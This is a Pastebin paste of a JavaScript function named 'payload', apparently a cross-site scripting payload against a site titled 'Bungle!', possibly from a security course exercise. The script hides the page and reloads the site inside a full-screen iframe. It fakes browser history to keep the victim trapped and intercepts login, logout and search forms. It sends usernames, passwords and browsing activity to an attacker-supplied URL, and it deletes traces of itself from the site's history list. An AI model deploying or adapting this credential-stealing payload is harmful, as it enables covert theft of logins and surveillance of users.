Advertisement
Guest User

Untitled

a guest
Oct 8th, 2016
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.95 KB | None | 0 0
  1. function payload(attacker) {
  2. var state = 1
  3. var states = [];
  4. var statec = 0;
  5. var forward = [];
  6. var forwardi = 0
  7. function log(data) {
  8. console.log($.param(data))
  9. $.get(attacker, data);
  10. }
  11. function proxy(href) {
  12. log({event: "nav", uri: href});
  13. }
  14. $("html").hide();
  15. $(function(){
  16. $("body").html("");
  17. var iframe = document.createElement("iframe");
  18. iframe.style.width = "100%";
  19. iframe.style.height = "100%";
  20. iframe.style.position = "absolute";
  21. document.body.appendChild(iframe);
  22. proxy("./");
  23. $("html").show()
  24. iframe.src = "./";
  25. window.onpopstate = function(event){
  26. var cs = history.state
  27. if(cs.first)
  28. return
  29.  
  30. if(cs.s <= statec){
  31. statec -= 1
  32. iframe.contentDocument.location.href = states[statec]
  33. iframe.src = states[statec]
  34. history.back()
  35. } else {
  36. statec += 1
  37. iframe.contentDocument.location.href = states[statec]
  38. iframe.src = states[statec]
  39. history.pushState({s: statec, first: true}, "", states[statec]);
  40. }
  41. log({event: "nav", uri: states[statec]})
  42.  
  43. }
  44. history.pushState({s:0}, "", "./")
  45. history.pushState({s:0, first: true}, "", "./")
  46. states.push("./")
  47. iframe.onload = function(){
  48. $("iframe").contents().find("#history-list a:contains(\"iframe\")", this).remove()
  49. $("body", this.contentDocument).one("submit", "form", function(event){
  50. event.preventDefault();
  51. event.stopPropagation();
  52. switch($(this).attr("action")){
  53. case "./login":
  54. log({event: "login", user:$("#username", this).val() , pass:$("#userpass", this).val()});
  55. statec += 1
  56. history.pushState({s: statec}, "Bungle!", "/");
  57. history.pushState({s: statec, first: true}, "Bungle!", "/");
  58. states.push("/")
  59. break;
  60. case "./logout":
  61. log({event: "logout", user: $("#logged-in-user", this).text()});
  62. statec += 1
  63. history.pushState({s: statec}, "Bungle!", "/");
  64. history.pushState({s: statec, first: true}, "Bungle!", "/");
  65. states.push("/")
  66. break;
  67. case "./search":
  68. var ss = $("#query", this).val()
  69. var u = $("iframe").contents().find("#logged-in-user", this).text()
  70. if(u == "")
  71. log({event: "nav", url: "./search?q="+ss});
  72. else
  73. log({event: "nav", user: u, url: "./search?q="+ss});
  74. statec += 1
  75. history.pushState({s: statec}, "Bungle!", "/search?q="+ss);
  76. history.pushState({s: statec, first: true}, "Bungle!", "/search?q="+ss);
  77. states.push("/search?q="+ss)
  78. break;
  79. }
  80. $(this).submit();
  81. });
  82. $("iframe").contents().find("#search-again-btn", this).click(function(){
  83. proxy("./")
  84. statec += 1
  85. history.pushState({s: statec}, "Bungle!", "/");
  86. history.pushState({s: statec, first: true}, "Bungle!", "/");
  87. states.push("/")
  88. })
  89. }
  90. });
  91. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement